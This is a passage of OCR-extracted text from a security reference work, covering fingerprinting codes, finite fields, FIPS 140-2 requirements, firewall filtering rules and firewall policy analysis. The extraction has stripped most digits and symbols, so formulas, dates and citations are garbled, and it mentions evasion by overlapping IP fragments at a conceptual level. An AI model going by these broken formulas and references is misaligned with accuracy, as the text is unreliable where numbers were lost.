where fK (U) is the set of fingerprints of the members of
xi = xi = = xti in every undetectable coordinate i.
the coalition U. Let
Let E(U) = {y} be the set of all fingerprints y that can be
created by the coalition U following the marking assump- emax (F, , V) = max e(U, F, , V)
UM,U=t
tion, called the envelope of the coalition. This assumption
implies that the coalitions strategy obeys the condition be the maximum probability of error. A number R > is an
-achievable rate for q-ary t-fingerprinting if for every >
V(yx , . . . , xt ) > only if y E(x , . . . , xt ). and a sufficiently large n there exists a q-ary randomized
code (F, ) of length n = n() with rate
Only such admissible strategies are considered in the sys-
tem design.
logq M > R
The definition of the envelope E depends on the exact n
description of the rule that the coalition follows to modify such that emax (F, , V) < for every admissible strategy
the detectable positions: V of the coalition. The capacity of q-ary t fingerprinting
The narrow-sense envelope is obtained if the coalition Ct,q is defined as the supremum of -achievable rates as
is restricted to use only a symbol from their assigned becomes arbitrarily small.
fingerprints in the detectable positions: The formulation of the fingerprinting problem as a
communication problem was developed in [, , ]. Lower
EN (x , . . . , xt ) = {y Qn yi {xi , . . . , xti }, i}. () bounds of the form Ct, = (t ) were established in
[, , ]. One of these constructions also includes a simple
The wide-sense envelope permits the coalition to use identification algorithm of pirates []. The best estimate
any symbol from the alphabet Q in the detectable Ct, /(t ln ) is due to []. Regarding small values
positions: of t it was shown that C, ., C, / []. Upper
bounds of the form
EW (x , . . . , xt ) = {y Qn yi = xi , i undetectable}.
() C, ., C, ., Ct, /(t ln )
Fingerprinting F
were announced in [, ]. At the time of writing this Recommended Reading

entry, complete proofs of the upper bounds have not been . Alon N, Cohen G, Krivelevich M, Litsyn S () Generalized
published. hashing and parent-identifying codes. J Comb Theory Series A
:
Generalizations of the marking assumption considered
. Alon N, Stav U () New bounds on parent-identifying
in the literature include settings in which members of the codes: the case of multiple parents. Comb Probab Comput
coalition follow the marking assumption in all but a cer- ():
tain small number of coordinates of the fingerprint or erase . Amiri E, Tardos G () High rate fingerprinting codes and the
some coordinates of the fingerprint, replacing it by unread- fingerprinting capacity, Proceedings of the th Annual ACM-
SIAM Symposium on Discrete Algorithms (SODA ). New
able symbols [, ]. Another variation of the fingerprinting
York, pp
problem, called asymmetric fingerprinting, arises when it is . Anthapadmanabhan NP, Barg A, Dumer I () On the fin-
assumed that not only coalitions of users but also the dis- gerprinting capacity under the marking assumption. IEEE Trans
tributor may create unauthorized copies of the content []. Inform Theory ():
The goal of asymmetric fingerprinting is to bar the distrib- . Barg A, Blakley GR, Kabatiansky G () Digital fingerprint-
utor from issuing an unregistered copy, while at the same ing codes: problem statements, constructions, identification of F
traitors. IEEE Trans Inform Theory ():
time allowing it to trace the source of such copy to the user . Barg A, Cohen G, Encheva S, Kabatiansky G, Zmor G
whose mark it contains. () A hypergraph approach to the identifying parent prop-
erty: the case of multiple parents. SIAM J Discrete Math :

. Blackburn SR () Combinatorial schemes for protect-
Fingerprinting of Analog Data
ing digital content. In: Wensley CD (ed) Surveys in com-
Another case of the problem that has also been studied binatorics . Cambridge University Press, Cambridge,
in the literature relates to the fingerprinting of continuous pp
data with applications to media fingerprinting. It is natural . Blackburn SR () An upper bound on the size of a code
to assume that the original document v is represented by a with the k-identifiable parent property. J Comb Theory Series
A :
vector in Rn . The marked copy of the ith user is obtained
. Boneh D, Shaw J () Collusion-secure fingerprinting for
by computing xi = v + wi , where wi is the ith fingerprint digital data. IEEE Trans Inform Theory ():
(another real vector). . Chor B, Fiat A, Naor M () Traitor tracing. In Advances in
The most common assumption in the literature is Cryptology CRYPTO , Lecture Notes in Computer Science,
that the document is a random vector (v , . . . , vn ) whose vol. . Springer, Berlin, pp
. Dumer I, Equal-weight fingerprinting codes. In: Xing C et al.
coordinates are real random N(, )-variables (Gaussian
(eds) Second International Workshop on Coding Theory and
random variables with zero mean and unit variance). Cryptography, China, June . Lecture Notes in Computer
Similarly, fingerprints wi , i = , . . . , M are chosen as Gaus- Science, vol. . Springer, Berlin, pp
sian vectors or taken as linear combinations of orthog- . Hollmann HDL, van Lint JH, Linnartz J-P, Tolhuizen LMGM
onal pseudo-noise vectors. By assumption, the deviation () On codes with the identifiable parent property. J Comb
Theory Series A ():
of x i from v has to be bounded above uniformly for all
. Kilian J, Leighton FT, Matheson LR, Shamoon TG, Tarjan RE,
i: xi v n, where is an appropriately cho- Zane F () Resistance of digital watermarks to collusive
sen threshold. In the case of Gaussian fingerprints, it is attacks, . Princeton Computer Science Technical Report
assumed that the variance of their coordinates satis- TR--, Princeton University, Princeton, New Jersey
fies the inequality < (otherwise with large proba- . Huang Y-W, Moulin P () Saddle-point solution of the
fingerprinting capacity game under the marking assumption.
bility, marked copies will violate the bounded deviation
In Proceedings of the IEEE International Symposium
assumption). on Information Theory, Seoul, Korea, June July , ,
Collusion attacks in this context proceed by averag- pp
ing the copies of the document belonging to the users in . Pfitzmann B, Schunter M () Asymmetric fingerprinting.
the coalition or by taking their convex combination and In: Maurer U (ed) Advances in Cryptology EUROCRYPT ,
adding some Gaussian noise or by some similar general
pp
method. Let y be the fingerprint formed by a pirate coali- . Somekh-Baruch A, Merhav N () On the capacity game of
tion. Detection is performed by correlation analysis: the private fingerprinting systems under collusion attacks. IEEE
ith user is assumed guilty if (y, xi ) y, where is Trans Inform Theory ():
another threshold. It is proved that for Gaussian finger- . Tardos G () Optimal probabilistic fingerprint codes. J
Assoc Comput Mach ():
prints, the minimum size of the coalition that succeeds in
. Wagner N () Fingerprinting. In Proceedings of the
removing any fingerprint with probability bounded away IEEE Symposium on Security and Privacy, Apr , Oakland,
from zero, must be proportional to n/ log M []. California, pp
F Finite Field
Open Problems
Finite Field Efficient implementation of finite field arithmetic has been
a major area of research. For a discussion, inversion in
Burt Kaliski finite fields and rings and optimal extension fields.
MA, USA Recommended Reading
. Lidl R, Niederreiter H () Introduction to finite fields and
their applications. Cambridge University Press, Cambridge
. Menezes AJ, Blake IF, Gao X, Mullin RC, Vanstone SA,
Related Concepts Yaghoobian T () Applications of finite fields. Kluwer,
Extension Field; Field; Group Dordrecht
Denition
A finite field is a field with a finite number of elements.
FIPS -
Theory
The number of elements or the order of a field with a Tom Caddy
finite number of elements is always a power q = pk of a InfoGard Laboratories, San Luis Obispo, CA, USA
prime number p , where k . Since all finite fields
with a given order are isomorphic (homomorphism), it is Synonyms
conventional to refer to a finite field with order q as the CMVP Cryptographic module validation program;
finite field with that order, denoted Fq or GF(q) (the latter ISO Security requirements for cryptographic
meaning Galois Field). The prime p is the characteristic of modules
the field, i.e., for all x Fq , px = .
Finite fields are commonly organized into three types Related Concepts
in cryptography: Common Criteria; Security Evaluation Criteria
Characteristic- or binary fields, where p = .
Prime-order fields, where p and k = . Denition
Odd-characteristic extension fields, where p The full name is Federal Information Processing Standard
and k > . (FIPS) , titled: Security Requirements for Crypto-
graphic Modules []. FIPS and FIPS were
The multiplicative group of a finite field, denoted Fq , is the developed not only as documents to communicate require-
group consisting of the elements of F q with multiplicative ments, but also as complete programs that certify products
inverses, i.e., the elements except for , under the multipli- that are in full compliance with the security and assur-
cation operation. This is a cyclic group of order q ; all ance characteristics that are specified in the standard. The
the elements of the group can be obtained as powers of a objective to provide the end customer with cryptographic
single generator. products that can be trusted and used with confidence.
A classic volume in this field is Lidl and Niederre-
iters text []. A book by Menezes et al. [] gives further Background
treatment of the cryptographic applications. The FIPS and program was established in
response to the Information Technology Management
Applications Reform Act of and the Computer Security Act of
Finite fields are widely employed in cryptography. The . The program is a partnership between United States
IDEA and Rijndael/AES algorithms, for instance, National Institute of Standards and Technology and the
both involve operations over relatively small finite fields. Canadian Government Communication Security Estab-
Public-key cryptography generally involves much larger lishment. Both the USA and Canadian organizations are
finite fields. For example, the Digital Signature Algorithm integrally involved with all aspects of the program.
(Digital Signature Standard) operates in a subgroup This document was issued May , , and super-
of the multiplicative group of a prime-order finite field. sedes FIPS , which was published January ,
Elliptic curve cryptography can be defined over a variety []. FIPS and FIPS were developed not only
of different finite fields. as documents to communicate requirements, but also as
FIPS - F
complete programs with the objective to provide the end intended to be utilized and the security services that the
customer with cryptographic products that can be trusted module will provide.
and used with confidence. It is important to note the difference between FIPS
and verification of correct cryptographic algorithm
Theory and Applications testing. Algorithm testing is limited only to verifying that
The full name is Federal Information Processing Standard a design correctly performs the logical and mathematical
(FIPS) , titled: Security Requirements for Crypto- processes to comply with the specified algorithm function-
graphic Modules []. The Program is called the crypto- ality, such as, but not limited to:
graphic module validation program (CMVP).
FIPS PUB , Computer Data Authentication []
The programs intent is to balance several objectives to
FIPS PUB , Secure Hash Standard SHA []
maximize the effectiveness for end users of the crypto-
FIPS PUB , Digital Signature Standard (DSS) []
graphic products including security functionality, assur-
FIPS PUB , AES Advanced Encryption Standard
ance, cost, and schedule. The program implementation
includes testing requirements, lab accreditations, thorough
[] F
FIPS PUB , The Keyed-Hash Message Authentica-
report and validation result review by the regulators, and
tion Code (HMAC) []
certificates of validation issued by the NIST/CSE, includ-
ing an actively maintained Web site of currently approved In contrast FIPS is a comprehensive security stan-
products http://csrc.nist.gov/cryptval/. dard that integrates module access control, key man-
FIPS provides a standard that is used by gov- agement, interface control, design assurance, operational
ernment and commercial organizations when they specify assurance, and utilizes algorithm testing to verify that each
that cryptographic-based security systems are to be used specific algorithm used is correct.
for providing protection of sensitive or valuable data. The This standard specifies the security requirements that
protection of data, processes, and critical security parame- will be satisfied by a cryptographic module. These require-
ters that is provided by a cryptographic module embedded ments have been developed over a number of years by
within a security system is necessary to maintain the access cryptographic and information security experts from gov-
control, confidentiality, and integrity of the information ernment organizations, international representatives, the
entrusted to that system. Department of Defense, users, and vendors with the objec-
FIPS is published and maintained by the US tive being something that is meaningful, but also reason-
Department of Commerce; National Institute of Stan- able with regard to technology, usability, and affordability.
dards and Technology; Information Technology Labora- The requirements have been compiled to address a broad
tory; and Cryptographic Module Validation Program. The range of threats and vulnerabilities, which trusted security
standard is designed to be flexible enough to adapt to focal points (modules) are subject to.
advancements and innovations in science and technol- The security requirements cover areas related to the
ogy. NIST Policy is to have standards reviewed every secure design and implementation of a cryptographic
years in order to consider new or revised requirements module. These areas include:
that may be needed to meet technological and economic .
Cryptographic Module Specification
changes. .
Cryptographic Module Ports and Interfaces
FIPS is applicable to cryptographic-based secu- .
Roles, Services, and Authentication
rity systems that may be used in a wide variety of .
Finite State Machine Model
computer and telecommunication applications (e.g., data .
Physical Security
storage, access control and personal identification, net- .
Operational Environment
work communications, radio, facsimile, and video) and in .
Cryptographic Key Management
various environments (e.g., centralized computer facilities, .
Electromagnetic Interference/Electromagnetic Com-
office environments, and hostile environments). The cryp- patibility (EMI/EMC)
tographic services (e.g., encryption, authentication, digi- . Self-Tests
tal_signature, and key_management) provided by a spe- . Design Assurance
cific cryptographic module are selected requirements that . Mitigation of Other Attacks
are specific to the application. The security level (see below)
to which a cryptographic module is validated is chosen The standard provides four increasing qualitative levels
to provide a level of security appropriate for the security of security intended to cover a wide range of potential
requirements of the application in which the module is applications and environments.
F FIPS -
Security Level specifies the lowest level of secu- meets the functional requirements specified in specified
rity; the basic requirements are defined for a crypto- protection profiles (PPs) if they also meet the additional
graphic module. No specific physical security mechanisms functional requirement of a Trusted Path and have been
are required in a Security Level cryptographic module evaluated at the CC EAL (or higher) with the additional
beyond the basic requirement for production-grade com- assurance requirement of an Informal Target of Evaluation
ponents. Such implementations may be appropriate for (TOE) Security Policy Model.
low-level security applications when other controls, such Security Level provides the highest level of security
as physical security, network security, and administrative defined in this standard. At this security level, the physical
procedures, are limited or nonexistent. security mechanisms provide a complete envelope of pro-
Security Level enhances the physical security mech- tection around the cryptographic module with the intent of
anisms of a Security Level cryptographic module by detecting and responding to all unauthorized attempts at
adding the requirement for physical security in the form physical access. Penetration of the cryptographic module
of tamper evidence tamper-evident seals or pick-resistant enclosure from any direction has a very high probability
locks are placed on covers or doors to protect against unau- of being detected, resulting in the immediate zeroization
thorized physical access. Security Level also requires of all plaintext CSPs. Security Level cryptographic mod-
the module operators to authenticate to the module to ules are useful for operation in physically unprotected and
assume a specific role and perform a corresponding set of potentially hostile environments.
services. Level allows the software and firmware com- Level also protects a cryptographic module against
ponents of a cryptographic module to be executed on a a security compromise due to environmental conditions
general purpose computing system using an operating sys- or fluctuations outside of the modules normal operating
tem that meets the functional requirements specified in ranges for voltage and temperature.
specific Common Criteria (CC) Protection Profiles and Level allows the software and firmware components
has been evaluated to a CC assurance level (EAL or of a cryptographic module to be executed on a general
higher). purpose computing system using an operating system that
Security Level increases the physical security of meets the functional requirements specified for Security
the cryptographic module to inhibit the intruder from Level and is evaluated at the CC evaluation assurance
gaining access to critical security parameters (CSPs) level EAL (or higher).
held within the cryptographic module. Physical security A fundamental concept to the application of FIPS
mechanisms required at Security Level are intended is that of a cryptographic boundary. The crypto-
to have a high probability of detecting and responding graphic boundary shall consist of an explicitly defined
to attempts at physical access, use or modification of perimeter that establishes the physical bounds of a cryp-
the cryptographic module through the implementation tographic module. If a cryptographic module consists
of strong enclosures and tamper detection/response that of software or firmware components, the cryptographic
includes circuitry that zeroizes all plaintext CSPs when the boundary shall contain the processor(s) and other hard-
removable covers/doors of the cryptographic module are ware components that store and protect the software and
opened. firmware components. Hardware, software, and firmware
Level requires stronger identity-based authentication components of a cryptographic module can be excluded
mechanisms, enhancing the security provided by the role- from the requirements of this standard if shown that these
based authentication mechanisms specified for Security components do not affect the security of the module. This
Level . Level specifies more robust key management concept allows for the evaluation of products to fixed and
processes including the entry or output of plaintext CSPs established confines, thereby making the process feasible.
using split knowledge procedures or to be performed using It also provides for a totally self-contained crypto module
ports that are physically separated from other ports or that contains enough functionality to protect itself and be
interfaces that are logically separated using a trusted path able to be trusted.
from other interfaces. Plaintext CSPs may be entered into For purposes of specifying physical security
or output from the cryptographic module in encrypted mechanisms, FIPS defines three possible physical
form (in which case they may travel through enclosing or embodiments for a module and the associated security
intervening systems). mechanisms for each:
Level allows the software and firmware components
of a cryptographic module to be executed on a general Single-chip cryptographic modules are physical embod-
purpose computing system using an operating system that iments in which a single integrated circuit is employed.
Firewall F
Multiple-chip embedded cryptographic modules are and Technology (NIST), Gaithersburg, http://csrc.nist.gov/
physical embodiments in which two or more IC chips publications/fips/fips-/fips.pdf
. National Institute of Standards and Technology (NIST),
are interconnected and are embedded within an enclo-
Computer Systems Laboratory () Security requirements
sure or a product that may not be physically protected. for cryptographic modules: federal information processing
Multiple-chip standalone cryptographic modules are standards publication (FIPS PUB ). National Institute
physical embodiments in which two or more IC of Standards and Technology (NIST) and Computer Systems
chips are interconnected and the entire enclosure is Laboratory, Gaithersburg, http://csrc.nist.gov/publications/fips/
fips-/fips.pdf
physically protected.
. National Institute of Standards and Technology (NIST) ()
For a module to receive a certificate of validation, it must Computer data authentication: federal information processing
standards publication (FIPS PUB ). http://www.itl.nist.
follow a process defined by the CMVP program and be
gov/fipspubs/fip.htm
tested by an accredited laboratory. Laboratories are accred- . National Institute of Standards and Technology (NIST) ()
ited to perform FIPS testing based on proving Secure hash standard (SHS): federal information processing stan-
to the National Voluntary Laboratory Accreditation Pro- dards publication (FIPS PUB ). National Institute of F
gram (NVLAP) that they have the appropriate quality sys- Standards and Technology (NIST), Gaithersburg, http://www.itl.
nist.gov/fipspubs/fip-.htm
tem, quality process, cryptographic skills, and FIPS
knowledge to warrant accreditation. Laboratory reaccred- Digital signature standard (DSS): federal information processing
itation occurs on an annual basis. standards publication (FIPS PUB ). National Institute
Testing by the laboratory is based on a document of Standards and Technology (NIST), Gaithersburg, http://csrc.
related to FIPS termed the Derived Test Require- nist.gov/publications/fips/archive/fips-/fips-.pdf
ments (DTR) document []. This document outlines the
Announcing the Advanced Encryption Standard (AES): fed-
responsibilities of the test laboratory and the analysis and eral information processing standards publication (FIPS
testing that is performed. It also describes the information PUB ). National Institute of Standards and Technol-
and material that the vendor must provide the laboratory ogy (NIST), Gaithersburg, http://csrc.nist.gov/publications/fips/
for the purpose of evaluating the compliance of the module fips/fips-.pdf
to FIPS requirements.
The keyed-hash message authentication code (HMAC): fed-
eral information processing standards publication (FIPS
PUB ). National Institute of Standards and Technol-
Acronyms ogy (NIST), Gaithersburg, http://csrc.nist.gov/publications/fips/
CC Common Criteria fips-/fips--_final.htm
CSE Communications Security Establishment . National Institute of Standards and Technology (NIST) ()
CSP Critical Security Parameters Derived test requirements for FIPS PUB . http://csrc.nist.
DSS Digital Signature Standard gov/cryptval/-/fipsDTR.pdf
DTR Derived Test Requirements
EAL Evaluation Assurance Level
EMC Electromagnetic Compatibility
EMI Electromagnetic Interference Firewall
ITL Information Technology Laboratory
FIPS Federal Information Processing Standard Niels Provos
NIST National Institute of Standards and Technology Google INC, Mountain View, CA, USA
NVLAP National Voluntary Laboratory Accredita-
tion Program
PP Protection Profiles Denition
SHA Secure Hash Algorithm A firewall is a network device that enforces security pol-
SPM Security Policy Modeling icy for network traffic. The term originates from fire wall,
TOE Target of Evaluation a fireproof wall used as a barrier to prevent the spread of
fire. An Internet firewall creates a barrier between sepa-
rate networks by imposing a point of control that traffic
Recommended Reading
needs to pass before it can reach a different network []. A
. National Institute of Standards and Technology (NIST)
() Security requirements for cryptographic mod-
firewall may limit the exposure of hosts to malicious net-
ules: federal information processing standards publication work traffic, e.g., remote adversaries attempting to exploit
(FIPS PUB ). National Institute of Standards security holes in vulnerable applications, by preventing
F Firewall
certain packets from entering networks protected by the The specifiers describe the packets for which a rule should
firewall. be applied. The action of the last matching rule determines
if the firewall forwards or drops the inspected packet. Many
Theory firewalls use a format to describe filter rules that is similar
When inspecting a network packet, a firewall decides if it to the following:
should drop or forward the packet. The decision is based
action dir interface protocol srcip srcport destip dstport
on a firewalls security policy and its internal state. Before
flags
forwarding a packet, a firewall may modify the packets
content. Packet inspection may occur at several different The first word action can be either pass or block and
layers: determines if a packet that matches this rule should be for-
warded or dropped. These two actions are supported by
The link layer provides physical addressing of devices all firewalls, but many modern firewall systems also sup-
on the same network. Firewalls operating on the link port logging of packets that match specific rules, network
layer usually drop packets based on the media access address translation, and generating return packets. The
control (MAC) addresses of communicating hosts. remaining words are specifiers that restrict which packets
The network layer contains the Internet protocol (IP) a rule applies to. The different elements in a filter rule are
headers that support addressing across networks so explained below:
that hosts on different physical networks can commu-
dir refers to the direction a packet is taking. It may be
nicate with each other.
either incoming or outgoing. Depending on the firewall
The transport layer provides data flows between hosts.
solution, the direction may be specific to a network
On the Internet, the transmission control protocol
interface or to a network boundary.
(TCP) and the user datagram protocol (UDP) are used
interface specifies the physical or virtual network
for this purpose. Most firewalls operate at the network
device upon which the packet was received. This is
and transport layer. TCP provides reliable data flow
often used to classify the network from which the
between hosts. UDP is a much simpler but unreliable
packet arrived as internal or external.
transport protocol.
protocol allows a filer to specify the transport protocols
The application layer contains application specific pro-
the rule should match. Using a protocol specifier allows
tocols such as the hypertext transfer protocol (HTTP).
us to differentiate, e.g., between UDP and TCP packets.
Inspection of application-specific protocols can be
srcip specifies which source IP addresses should match
computationally expensive because more data needs to
the rule. This can either be a single address or IP
be inspected, and more states are required.
network ranges.
The IP header [] contains information required by routers srcport applies only to TCP or UDP packets and deter-
to forward packet between hosts. For an IPv header, fire- mines the range of port numbers a packet should have
walls usually inspect the following fields: header length, to match the rule.
total length, protocol, source IP address, and destination dstip and dstport specify which destination IP addresses
IP address. The protocol field states which transport pro- and destination ports to match and are very similar to
tocol follow after the IP header. The most frequently used the source specifiers described above.
transport protocols are TCP, UDP, and ICMP. While the flags may contain firewall specific features. For exam-
IP protocol provides addressing between different hosts on ple, the SYN flag indicates that rule matches only where
the Internet, TCP and UDP allow the addressing of ser- the packet contains a TCP connection setup message
vices by employing source and destination port numbers. (see below).
For example, a mail client sends e-mail by contacting a mail In the following example, a simple firewall configuration
server on destination port , which is used for the simple that blocks all traffic except SMTP connections to a central
mail transport protocol (SMTP), and Web servers usually mail server is shown:
listen for HTTP requests on port . A data flow between Figure shows the rules of a firewall that uses only the
hosts is uniquely identified by its -tuple: information contained in the inspected packet to decide if
(source IP address, source port number, destination IP the packet should be dropped or forwarded. Any incom-
address, destination port number). ing packet that is not sent to port of the mail server
A firewalls policy is described by a list of filter rules that matches only the first firewall rule and will be dropped.
specify which packets may pass and which packets are to A firewall that reaches policy decisions based only on the
be blocked. A rule contains an action and several specifiers. content of the inspected packet is called stateless. Filtering
Firewall F
action dir interface protocol scrip srcport dstip dstport flags

block in external all
block out external all
pass in external tcp any any mail-server 25
pass out external tcp mail-server 25 any any
Firewall. Fig. A simple conguration that allows only trac to and from the SMTP port of a specic mail server

pass in external tcp any 80 any any
block in external tcp any 80 any any S/SA
pass out external tcp any 80 any 80
F
Firewall. Fig. A conguration that allows only outgoing HTTP trac. The rules use TCP control ags to prevent outsiders from
initiating connections to our internal network
packets that enter a network is called ingress filtering, Because IP is independent of the physical network
and filtering packets that leave a network is called egress layer, it is possible that an IP packet needs to be fragmented
filtering. into several smaller packets that fit within the frame size
If a policy, that allows only outgoing HTTP connec- of the physical medium. The first IP fragment contains all
tions, is to be enforced, the rules for stateless firewalls addressing information, including ports. The firewall may
are more difficult to configure. When a client initiates an enforce its policy only for the first fragment. Even if all
HTTP connection to port of a Web server, the server subsequent fragments are forwarded by the firewall, with-
sends back data with source port . A naive firewall con- out the first fragment it is not possible for the end host to
figuration might allow all TCP packets with source port completely reassemble the IP packet.
to enter the network. As a result, an adversary is allowed The situation is more complicated if the firewall decides
to initiate any kind of connection as long as the packets to forward the first fragment. As it is possible for fragments
arrive with the correct source port. The firewall configura- to overlap, an adversary may decide to send an IP fragment
tion can be improved by inspecting the control flags used that overlaps the transport header data of the first frag-
by TCP. A packet to initiate a connection has only the SYN ment. In that case, an adversary may be able to rewrite the
flag set. The receiver acknowledges the connection attempt port numbers and effectively bypass the firewalls security
by setting both the SYN and ACK flag. After a connection policy. Overlapping IP fragments may also confuse net-
has been established, the SYN flag is not used again. A bet- work intrusion detection systems (NIDS) [].
ter firewall configuration is shown in Fig. . The third rule There are several methods to send packets that may
permits all external TCP traffic with source port , but bypass application-level firewalls and evade intrusion
the subsequent rule blocks all Web server packets that con- detection systems []. Because a NIDS does not have
tain a SYN flag but no ACK flag. In other words, external complete knowledge of network topology and end host
connection attempts are denied. state, an adversary may evade security policy by exploiting
A more flexible configuration is permitted by state- ambiguities in the traffic stream monitored by the NIDS.
ful firewalls [] which track connection states for ICMP, For example, a packet may be seen by the monitoring
TCP, and UDP packets. While UDP and ICMP are connec- device but never reach the end host. As a result, the traf-
tionless protocols, a stateful firewall may create short-lived fic seen by the monitor differs from the traffic received
states for them. The connection state allows a firewall to by an end host, and the monitor may make an incorrect
determine if a packet is part of an ongoing connection and decision.
drop packets that are outside the valid range of parameters. One possible solution to remove ambiguities from the
A stateful firewall is easier to configure because packets network traffic is called traffic normalization []. It rewrites
that match connection state are forwarded without con- ambiguous traffic so that the interpretation of traffic at the
sulting the firewall rules. The HTTP-client example from end host is known to the NIDS. As a result, an adver-
above can be realized with a stateful firewall using only one sary loses direct control over the specific layout of traf-
rule; see Fig. . fic, making it more difficult to evade intrusion detection
F Firewall Policy Analysis

pass out external tcp any any any 80 keep state
Firewall. Fig. A stateful rewall is easier to congure because it keeps track of established connections. Packets that are part of
an ongoing connection do not need to match any rules
systems. Recently, firewalls have started to support traf- . Ferguson P, Senie D () Network ingress filtering: defeat-
fic normalization. Handley et al. enumerate methods to ing denial of service attacks which employ IP source address
spoofing. RFC
normalize traffic. For example, a firewall may reassemble
. Handley M, Kreibich C, Paxson V () Network intrusion
all IP fragments into complete IP packets before forward- detection: evasion, traffic normalization and end-to-end pro-
ing them. tocol semantics. In: Proceedings of the th USENIX security
Firewalls may also help to limit the problem of address symposium, Aug
spoofing and denial of service attacks []. Address spoof- . Paxson V () Bro: a system for detecting network intrud-
ers in real-time. In: Proceedings of the th USENIX security
ing refers to IP packets that carry an incorrect IP source
symposium, Jan
address. An adversary may be able to exploit trust rela- . Ptacek T, Newsham T () Insertion, evasion, and denial of
tionships by sending packets via an external network that service: eluding network intrusion detection. Secure Networks
claim to originate from the internal network []. Denial Whitepaper, Aug
of service is aimed at disrupting network services and . Stevens WR () TCP/IP Illustrated, vol . Addison-Wesley,
Reading, MA
often uses thousands of machines to generate network
. van Rooij G () Real stateful TCP packet filtering in IP fil-
traffic that saturates the available bandwidth at the tar- ter. In: Proceedings of the nd international SANE conference,
get host. To prevent the tracing of the attack back to the May
originators, denial of service attacks often use IP address
spoofing.
Organizations that employ firewalls should enforce a
policy that does not allow spoofed traffic to either enter Firewall Policy Analysis
or leave the network by employing both ingress and egress
filtering. Denying packets with spoofed source addresses Firewalls
from leaving the network prevents denial of service attacks
to hide their origin.
Firewalls
Additional Denitions
Ingress filtering: filtering packets that enter a network. Ehab Al-Shaer
Egress filtering: filtering packets that leave a network. Cyber Defense and Network Assurability (CyberDNA)
Stateful packet inspection: decisions to drop or for- Center, Department of Software and Information Systems
ward a packet are based not only on the content of the College of Computing and Informatics; University of
inspected packet, but also on previous network traffic. North Carolina Charlotte, Charlotte, NC, USA
Denial of service: disrupting a computer service by
exhausting resources like network bandwidth, mem-
ory, or computational power.
Network intrusion detection system: a system that
Synonyms
Consistency verification of security policy; Firewall
monitors network traffic to identify abnormal behavior
policy analysis; IPSec policy analysis
that indicates network attacks.

A network access control list or ACL, P, is a set of ordered
. Bellovin SM (, April) Security problems in the TCP/IP
protocol suite. ACM Comput Commun Rev :/
rules, Ri , the defines the transformation actions, Ai , (e.g.,
. Cheswick WR, Bellovin SM () Firewalls and Internet secu- such as accept or deny in firewalls, and ESP for encryp-
rity repelling the Willy Hacker. Addison-Wesley, Reading, MA tion and AH for authenticate in IPSec) that are performed
Firewalls F
on matched traffic flows, Ci , defined using header infor- Network Access Control Background
mation. A conflict exists in ACL policies if there are two A security policy enforcement point is the network ele-
(or more) different rules (Ri and Rj ) that match the same ment that controls the traversal of packets across network
traffic flow partially or complectly (i.e., Ci Cj / ). If the segments based on a given network security policy. These
two rules existing in the same firewall or IPSec device, it include firewalls and IPSec devices, which are installed
is called intra-policy conflict. However, if they exist in two either at end hosts or at intermediate network nodes. The
different devices across the network, it is called intra-policy network protection offered by firewalls/IPSec is based on
conflict. requirements defined by a security policy established and
maintained by a user or system administrator. In general,
packets are selected for a packet transmission/protection
Background
mode based on network and transport layer header infor-
Complexity of Managing Network Access mation matched against entries in the policy, i.e., transport
Control Polices protocol, source address and port number, and destination
Network security polices are essential elements in Internet address and port number. Each packet is either discarded,
F
security devices that provide traffic filtering, integrity, con- protected and transmitted, or permitted to flow without
fidentiality, and authentication. Network security perime- protection. The decision is based on the policy rules that
ter devices such as firewalls, IPSec, and IDS/IPS devices match this traffic. To define traffic protection rules, we use
operate based on locally configured policies. However, a generic policy format that resembles the format used in
configuring network security policies remains a complex a wide range of firewall and IPSec implementations []. In
and error-prone task due to the rule-dependency seman- this format, the network security policy is composed of two
tics, and the interaction between policies in the network. lists of packet-filtering rules: access list and map list.
This complexity is likely to increase as the network size
Access list It consists of ordered filtering rules that define
increases. A successful deployment of a network security
the actions performed on packets that satisfy the rule
system requires global analysis of policy configurations
conditions. All traffic is matched against the access rules
of all network security devices in order to avoid policy
sequentially till a matching rule is found. The rules are
conflicts and inconsistency. Policy conflicts may cause seri-
ordered such that all the packets in a flow will always
ous security breaches and network vulnerability such as
trigger the same rule. The rule determines the required
blocking legitimate traffic, permitting unwanted traffic,
security action, where a protect action means that the traf-
and insecure data transmission.
fic is securely transmitted, a bypass action means that the
There are many challenges confronting the correct-
traffic is transmitted unsecured, and a discard action means
ness and consistency of security policy configuration in
that the traffic is dropped. Such rules are used in firewall
enterprise networks. First, in a single security device, the
policies to permit or discard traffic, and in IPSec policies
ordering of the policy rules is critically important to deter-
to select the traffic to be protected.
mine the underlying policy semantics. An incorrect rule
ordering may obsolete some critical rules and result in a Map list The rules in this list determine the security map-
security hole that can be a target for a network attack. ping required to protect the traffic selected by the access
Second, the interaction between different network secu- list, also based on a set of packet filters. Each rule is given a
rity policies in a distributed network environment intro- priority and the traffic is matched against the highest pri-
duces additional challenges. For example, inconsistent rule ority rule first. Multiple rules can be triggered for the same
matching between two firewalls can result in illegitimate flow resulting in applying more than one security transfor-
traffic being allowed into the network, leading to seri- mation on the same traffic. Such rules are used in IPSec
ous security threats such as denial of service attacks. policies to specify the cryptographic transformation for a
Also, incorrect configuration of cascaded IPSec tunnels specific traffic.
can lead to sending confidential data as clear text vio- Firewalls control the traversal of packets across the
lating the security policy. Third, the existence of many boundaries of a secured network based on the security pol-
action types (e.g., bypass, discard, encrypt/tunnel, authen- icy. A firewall security policy is an access list of ordered
ticate/transport, etc.) presents another challenge when filtering rules. Filtering actions are either bypass, which
analyzing network security policies. Policy conflicts in permits the packet to enter or leave the secure network,
IPSec devices may cause either a failure in establishing or discard, which causes the packet to be blocked and
secure communication, or degrade the performance due to dropped. Firewalls are widely used to protect the network
performing unnecessary redundant security operations. from external attacks like port and address scanning and
F Firewalls
denial of service attacks. They are also used to control the a typical firewall/IPSec policy for outbound traffic. In this
flow of traffic between network segments. example, security gateways integrate firewall and IPSec
IPSec [] is one of the most widely used protocols to functionality. The policy at each device is defined in terms
provide secure transmission across the Internet. IPSec uses of the access-list (upper section) and the map-list (lower
two security protocols to provide traffic security: Authen- section). In our work, we assume that inbound traffic is
tication Header (AH) and Encapsulating Security Payload matched against a mirror image of the outbound IPSec
(ESP). The AH protocol provides connectionless integrity, policy, where the packet filters for the traffic source and
data origin authentication, and an optional anti-replay ser- destination are swapped []. The policy in host A requires
vice. The ESP protocol provides confidentiality (encryp- integrity verification using AH transport for all traffic flow-
tion) and optional connectionless integrity, data origin ing to host B. The policy in gateway SGA blocks FTP
authentication, and an anti-replay service. These protocols traffic from flowing to any host in network B. In addition,
may be applied individually or in combination with each all traffic flowing from network A to network B should
